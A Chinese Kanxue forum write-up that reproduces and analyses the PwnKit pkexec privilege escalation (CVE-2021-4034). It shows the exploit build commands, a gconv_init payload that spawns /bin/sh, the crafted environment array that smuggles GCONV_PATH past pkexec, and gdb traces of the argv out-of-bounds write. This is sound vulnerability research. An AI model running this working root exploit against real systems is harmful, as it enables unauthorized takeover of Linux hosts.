CVE-2021-4034 pkexec本地提权漏洞复现与原理分析

本文为看雪论坛优秀文章

看雪论坛作者ID：Jtian

一

前言

近期爆出了一个影响甚广的本地提权漏洞CVE-2021-4034，诸如Ubuntu、Debian、Fedora和CentOS 等主流Linux操作系统都受到了该漏洞影响。漏洞利用脚本在互联网上已经公开，利用起来异常简单且稳定。

在当前的环境下，当攻击者获得目标操作系统一个普通用户权限时，则极大概率可以直接获得root权限，使得权限控制机制形同虚设。

而如此重大的漏洞，起因却仅仅是因为一个名为pkexec的程序对参数个数的判断存在疏忽，造成了一个数组溢出。

如何利用一个数组溢出获得root权限呢？怀着这一疑问，本人对公开利用脚本进行了源码调试分析，感慨其利用技巧极具艺术性的同时，将分析过程记录成本篇文章。

二

感性的认识——漏洞复现

本次的漏洞复现环境为Kali-Linux-2021.2-vmware-amd64，其pkexec版本为0.105，使用普通用户kali进行复现。

下载exp源码并编译（如果目标环境没有gcc，可以在本地编译好了之后再拷贝上去）。

git clone https://github.com/berdav/CVE-2021-4034.git
cd CVE-2021-4034
make

测试exp效果，得到了root权限。

./cve-2021-4034

三

漏洞分析基础环境

操作系统：Kali-Linux-2021.2-vmware-amd64
polkit源码版本：polkit-0.105
gdb配置：
① 设置反汇编风格为intel风格（个人喜好）
② 关闭pwndbg等配置，避免调试时过多的信息造成干扰
③ 设置gdb的SUID位，避免调试pkexec时执行到geteuid函数失败，报错“pkexec must be setuid root”

chmod 4755 /usr/bin/gdb

资源下载

https://src.fedoraproject.org/repo/pkgs/polkit/polkit-0.105.tar.gz/md5/9c29e1b6c214f0bd6f1d4ee303dfaed9/polkit-0.105.tar.gz
https://github.com/berdav/CVE-2021-4034.git

四

前置知识

argc何时为0

test.c

#include<stdio.h>
int main(int argc, char** argv)
{
    printf("argc: %d\n", argc);
    for(int i; i<argc; i++) {
        printf("%s\n", argv[i]);
    }
 
    return 0;
}

学过C语言的朋友都知道，如上代码中，argc表示参数的个数，argv存放着具体的参数，argv[0]指向程序本身，argv[1]指向第一个参数，argv[2]指向第二个参数，...，argv[argc]存放0 表示结束。

当我们在命令行中执行程序时，argc的取值至少为1，因为即使不加参数，argv[0]也要指向程序路径本身。pkexec的作者也是这么想的，从而百密一疏，遗留下了一个重大隐患。在特殊情况下，如使用execve来调用程序，并给argv传值 NULL，则argc为0。

execve函数声明

#include <unistd.h>
int execve(const char *pathname, char *const argv[], char *const envp[]);

execve.c

#include <unistd.h>
 
int main(int argc, char **argv)
{
    return execve("./test", NULL, NULL);
}

argv与envp在内存里的布局是连续的

execve.c

#include <unistd.h>
 
int main()
{
    char* const argv[] = {
        "AAAA1111",
        "BBBB2222",
        "CCCC3333",
        NULL
    };
    char* const envp[] = {
        "DDDD3333",
        "EEEE4444",
        "FFFF5555",
        NULL
    };
    return execve("./test", argv, envp);
}

使用execve调用test程序，并分别给argv与envp传递了3个值。

test.c

#include<stdio.h>
int main(int argc, char** argv)
{
    printf("argc: %d\n", argc);
    for(int i; i<8; i++) {
        if(argv[i]!=NULL) {
            printf("argv[%d]: %s\n", i, argv[i]);
        } else {
            printf("argv[%d]: NULL\n", i);
        }
    }
 
    return 0;
}

argc为3，加上截止符0，argv的大小为4，这里直接打印了8个值，显然是越界了。argv后面的内容是什么呢？

通过实验，表明argv与envp在内存布局上是连续的，envp紧跟argv之后。

利用g_printerr 执行命令

main.c

int main()
{
    g_printerr("Hello world.\n");
    return 0;
}

pwnkit.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
void gconv(void) {
}
 
void gconv_init(void *step)
{
        char * const args[] = { "/bin/sh", "-pi", NULL };
        char * const environ[] = { "PATH=/bin:/usr/bin", NULL };
        execve(args[0], args, environ);
        exit(0);
}

Makefile

all:
        echo "module UTF-8// AAAA// pwnkit 1" > gconv-modules
        gcc --shared -fPIC -o pwnkit.so pwnkit.c
        gcc -o test main.c -lglib-2.0

run.sh

#!/bin/bash

export CHARSET=AAAA
export GCONV_PATH=.
 
./test

g_printerr 的功能和printf很像，主要就是打印文本。在本实验中，当环境变量设置了CHARSET，且不为UTF-8时，g_printerr会进行编码转换，而转换的方法就是根据GCONV_PATH里的配置文件gconv-modules的说明，调用pwnkit.so，从而得到shell。

SUID权限

当一个程序被设置了SUID权限，则其他用户执行该程序时，可以临时切换到程序所有者的权限去执行一些功能。因为涉及到权限变更，所以在执行操作系统自带的此类程序时，往往被要求授权。

pkexec的所有者为root，具有SUID权限，当普通用户kali执行“pkexec bash”命令时会被要求授权。获得授权后，得到了root权限。

执行具有SUID权限的程序时，不安全的环境变量不会被引入

打印所有环境变量
main.c

int main()
{
    system("env");
    return 0;
}

使用root用户进行编译，并设置SUID权限

gcc -g -O0 -o test main.c
chmod 4755 ./test

设置环境变量，并通过test程序打印出来，用以判断环境变量的导入情况。

run.sh

#!/bin/bash

export GCONV_PATH=AAAA0001
export GETCONF_DIR=AAAA0002
export HOSTALIASES=AAAA0003
export LD_AUDIT=AAAA0004
export LD_DEBUG=AAAA0005
export LD_DEBUG_OUTPUT=AAAA0006
export LD_DYNAMIC_WEAK=AAAA0007
export LD_HWCAP_MASK=AAAA0008
export LD_LIBRARY_PATH=AAAA0009
export LD_ORIGIN_PATH=AAAA0010
export LD_PRELOAD=AAAA0011
export LD_PROFILE=AAAA0012
export LD_SHOW_AUXV=AAAA0013
export LD_USE_LOAD_BIAS=AAAA0014
export LOCALDOMAIN=AAAA0015
export LOCPATH=AAAA0016
export MALLOC_TRACE=AAAA0017
export NIS_PATH=AAAA0018
export NLSPATH=AAAA0019
export RESOLV_HOST_CONF=AAAA0020
export RES_OPTIONS=AAAA0021
export TMPDIR=AAAA0022
export TZDIR=AAAA0023
 
export PATH=AAAA1001:/usr/bin
export SHELL=AAAA1002
export CHARSET=AAAA1003
export BBBB=AAAA1004
 
./test

分别以root用户和kali用户执行“./run.sh |grep AAAA”，用来判断环境变量的导入情况。


通过实验可以知道，当以kali用户身份去执行所有者为root且具有SUID权限的程序时，GCONV_PATH、LD_PRELOAD 等不安全的环境变量并不会被引入。

五

利用原理分析

构建pkexec源码调试环境

下载源码polkit-0.105

https://src.fedoraproject.org/repo/pkgs/polkit/polkit-0.105.tar.gz/md5/9c29e1b6c214f0bd6f1d4ee303dfaed9/polkit-0.105.tar.gz

安装编译环境

apt install automake
apt install autopoint
apt install libtool
apt install gtk-doc-tools
apt install libpam0g-dev
apt install intltool

编译

./configure （要把-O2换成 -O0，关闭优化，方便调试）
make

设置SUID权限

以root用户赋权

cd src/programs/.libs
chmod 4755 pkexec

修改利用脚本berdav/CVE-2021-4034

修改利用脚本里调用的程序为刚编译好的pkexec，以便源码调试。

cve-2021-4034.c

#include <unistd.h>
 
int main(int argc, char **argv)
{
    char * const args[] = {
        NULL
    };
    char * const environ[] = {
        "pwnkit.so:.",
        "PATH=GCONV_PATH=.",
        "SHELL=/lol/i/do/not/exists",
        "CHARSET=PWNKIT",
        "GIO_USE_VFS=",
        NULL
    };
    return execve("../polkit-0.105/src/programs/.libs/pkexec", args, environ);
}

gdb调试

pkexec的授权认证是如何被绕过的

"./pkexec bash"是正常的用法，会先请求授权，然后再以root权限执行bash命令；而"./cve-2021-4034"会利用漏洞，跳过授权认证，直接以root权限执行命令。授权认证是如何被绕过的呢？

如果能在源码层次记录下两个程序的执行流程，则可以比对出有差异的地方，从而帮助我们理解“授权认证是如何被绕过”这个问题，更直观的理解漏洞利用过程。

gdb源码追踪脚本

step_trace.py

import sys
import gdb
import os
import re
 
def in_frames(needle):
    """ Check if the passed frame is still on the current stack """
    hay = gdb.newest_frame()
    while hay:
        if hay == needle:
            return True
        hay = hay.older()
    return False
 
# Use this to reduce any kind of unwanted noise
def filter_step(output):
    output = re.sub(r'^.*No such file or directory\.\n', r'', output, flags=re.M)
    output = re.sub(r'^\d+\s+in\s+.*\n', r'', output, flags=re.M)
    return output
 
def step_trace(filename=None, step="step"):
    counter = 0
    if filename:
        output = ""
    frame = gdb.newest_frame()
    print("Stepping until end of {} @ {}:{}".format(frame.name(), frame.function().symtab, frame.function().line))
    while in_frames(frame):
        counter += 1
        if filename:
            output += filter_step(gdb.execute(step, to_string=True))
        else:
            gdb.execute(step)
 
    if filename:
        with open(filename, "w") as file:
            file.write(output)
    print("Done stepping through {} lines.".format(counter))

(gdb) source step_trace.py
(gdb) python step_trace(step="next")

step_trace.py是gdb的源码追踪脚本，可以把执行过的代码打印到终端上。其中，step="next" 表示单步步过，step="step" 表示单步步入。

调试"./pkexec bash"

bplist

set follow-fork-mode parent
b main
b /home/kali/software/relase/polkit-0.105/src/programs/pkexec.c:900
r bash
source step_trace.py
python step_trace(step="next")

在pkexec的main函数和调用execv（pkexec.c:900）时下断点，记录中间的源码调用。在调试过程中，可以知道授权弹窗在705行代码polkit_authority_check_authorization_sync处调用。另外，step_trace.py 把源码追踪的结果打印在了终端，可以通过复制的方式另存为gdb_pkexec_bash.log，以便后面的分析。

调试"./cve-2021-4034"

bplist_cve

b main
r
c
b /home/kali/software/release/polkit-0.105/src/programs/pkexec.c:900
set follow-fork-mode parent
source /home/kali/software/release/polkit-0.105/src/programs/.libs/step_trace.py
python step_trace(step="next")

源码追踪"./cve-2021-4034"的执行，并把日志记录为gdb_cve-2021-4034.log，以便后面的分析。

代码流日志比对

通过比对代码流日志，可以清晰的看到"./cve-2021-4034"对argc的处理和validate_environment_variable的行为上存在异常，发现这两点异常将十分有助于我们理解漏洞利用过程。"./cve-2021-4034"的代码流程非常的短，其在调用环境变量校验函数validate_environment_variable的时候就获得了shell，这也就解释了为何会绕过授权认证，因为根本就没走到那。

如何获取shell权限的

通过gdb调试，可以打印一些关键变量的值，并给gdb_cve-2021-4034.log加上备注，这样有助于理解漏洞利用过程。

深入调试"./cve-2021-4034"

bp

b main
r
c
b /home/kali/software/release/polkit-0.105/src/programs/pkexec.c:593
set follow-fork-mode parent

gdb ./cve-2021-4034 -x bp

由图可知，参数数组与环境变量数组在内存布局上是连续的，本例中，argv[1]即是environ[0]。

s被赋值为"GCONV_PATH=./pwnkit.so:."，在pkexec程序看来，这只是一个普通的文件路径，而这是攻击者特意构造的，是为了引入不安全的环境变量GCONV_PATH。

利用越界写漏洞，成功引入不安全的环境变量GCONV_PATH。

构造报错，调用g_printerr，得到shell。

gdb_cve-2021-4034_details.log

Breakpoint 1, main (argc=0, argv=0x7ffe2d2d4e58) at pkexec.c:406
406       const gchar *environment_variables_to_save[] = {
Breakpoint 2 at 0x55d64339bed6: file pkexec.c, line 900.
Stepping until end of main @ pkexec.c:386
442       ret = 127;
443       authority = NULL;
444       subject = NULL;
445       details = NULL;
446       result = NULL;
447       action_id = NULL;
448       saved_env = NULL;
449       path = NULL;
450       command_line = NULL;
451       opt_user = NULL;
452       local_agent_handle = NULL;
455       if (geteuid () != 0)
461       original_user_name = g_strdup (g_get_user_name ());
462       if (original_user_name == NULL)
468       if (getcwd (original_cwd, sizeof (original_cwd)) == NULL)
478       opt_show_help = FALSE;
479       opt_show_version = FALSE;
480       opt_disable_internal_agent = FALSE;
481       for (n = 1; n < (guint) argc; n++)       //n被赋值为1
512       if (opt_show_help)
518       else if (opt_show_version)
525       if (opt_user == NULL)
--Type <RET> for more, q to quit, c to continue without paging--
526         opt_user = g_strdup ("root");
536       g_assert (argv[argc] == NULL);
537       path = g_strdup (argv[n]);                //越界读，path被赋值为 argv[1]，即 environ[0]，"pwnkit.so:."
538       if (path == NULL)
543       if (path[0] != '/')
546           s = g_find_program_in_path (path);    //在环境变量PATH中寻找"pwnkit.so:."，并把路径返回给 s。利用脚本中把PATH设置为"GCONV_PATH=."，且在磁盘上提前生成了名为"GCONV_PATH=."的文件夹，并放置了名为"pwnkit.so:."的程序，因此，s被赋值 "GCONV_PATH=./pwnkit.so:."。
547           if (s == NULL)
552           g_free (path);
553           argv[n] = path = s;                   //越界写，argv[1]被设置为"GCONV_PATH=./pwnkit.so:."，即environ[0] 被修改，重新引入了不安全的环境变量GCONV_PATH，至此完成了至关重要的一步。接下来只要随便构造个错误，使其报错时调用到 g_printerr 即可。
555       if (access (path, F_OK) != 0)
560       command_line = g_strjoinv (" ", argv + n);
561       exec_argv = argv + n;
566       rc = getpwnam_r (opt_user, &pwstruct, pwbuf, sizeof pwbuf, &pw);
567       if (rc == 0 && pw == NULL)
572       else if (pw == NULL)
579       saved_env = g_ptr_array_new ();
580       for (n = 0; environment_variables_to_save[n] != NULL; n++)
582           const gchar *key = environment_variables_to_save[n];
585           value = g_getenv (key);
586           if (value == NULL)
593           if (!validate_environment_variable (key, value))  //key="SHELL", value="/lol/i/do/not/exists"，在校验环境变量时报错"The value for the SHELL variable was not found the /etc/shells file"，进而调用了 g_printerr ，触发漏洞利用，最终执行pwnkit.so里的execve("/bin/sh", args, environ)得到shell。
process 11852 is executing new program: /usr/bin/dash
Error in re-setting breakpoint 1: Function "main" not defined.
Error in re-setting breakpoint 2: No source file named /home/kali/software/release/polkit-0.105/src/programs/pkexec.c.
#

六

总结

当使用普通用户权限执行pkexec时，GCONV_PATH、LD_PRELOAD等不安全的环境变量会被删除，但攻击者可以通过参数数组的越界读写漏洞，重新引入不安全的环境变量，进而构造利用链获取root权限。这一漏洞的起因十分简单，危害却十分严重，值得深思。

参考：

https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.tx

https://duo.com/decipher/serious-privilege-escalation-flaw-in-linux-component-patched

https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034

https://stackoverflow.com/questions/39602306/tracing-program-function-execution-on-source-line-level

https://www.xiebruce.top/1387.html
https://bbs.pediy.com/thread-271345.htm

看雪ID：Jtian

https://bbs.pediy.com/user-home-598931.htm

*本文由看雪论坛 JtianC 原创，转载请注明来自看雪社区

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